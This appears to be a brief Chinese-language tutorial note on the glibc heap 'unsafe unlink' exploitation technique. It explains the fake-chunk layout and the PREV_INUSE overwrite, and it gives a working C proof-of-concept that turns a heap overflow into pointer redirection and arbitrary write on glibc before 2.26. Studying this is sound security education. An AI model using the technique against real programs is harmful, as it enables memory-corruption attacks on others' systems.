一般是连续的smallbin或者unsortbin堆块(双向链表)a,b,a可以溢出,有一个指针p指向a。在a上伪造一个堆块:
pre_size |
size |
fd : p - 3*SIZE_SZ |
bk : p - 2*SIZE_SZ |
其中SIZE_SZ=sizeof(size_t)
此外还需让b的SIZE最低位被溢出修改为0,即PREV_INUSE为0,并将PREV_SIZE设置为伪造堆块的大小。
之后执行free(b),由于检测到PREV_INUSE为0,对a执行unlink操作,预检查FD->bk==*(p-3*SIZE_SZ+3*SIZE_SZ)==*(p)==a; BK->fd==*(p-2*SIZE_SZ+2*SIZE_SZ)==*p==a,两个检测均可通过。
然后进行unlink,*p=p - 2*SIZE_SZ; *p=p - 3*SIZE_SZ;即p最终指向的是p-3*SIZE_SZ,若p-3*SIZE_SZ也可控的话,可以通过修改p指向的内容设置p-3*SIZE指针的值为任意地址,再修改p-3*SIZE_SZ指向的内容达到任意写。
测试代码:
#include "stdlib.h"
#include "stdio.h"
char tmp[24];
char *a,*b;
int main(void){
unsigned long long x[]={0,0x20,&a-3,&a-2,0x20,0,0x30,0x90};
printf("sizeof(unsigned long long):%d\n",sizeof(unsigned long long));
a=(char *)malloc(0x30);
b=(char *)malloc(0x80);
memcpy(a,x,64);
printf("a=%p, b=%p\n",a,b);
printf("&a=%p\n",&a);
printf("after free\n");
free(b);
printf("a=%p\n",a);
return 0;
}
需要注意的是,这种方式限于glibc2.26之前的版本,之后的版本新加了限制。
新的利用参考:https://github.com/shellphish/how2heap/blob/master/glibc_2.26/tcache_stashing_unlink_attack.c
https://github.com/shellphish/how2heap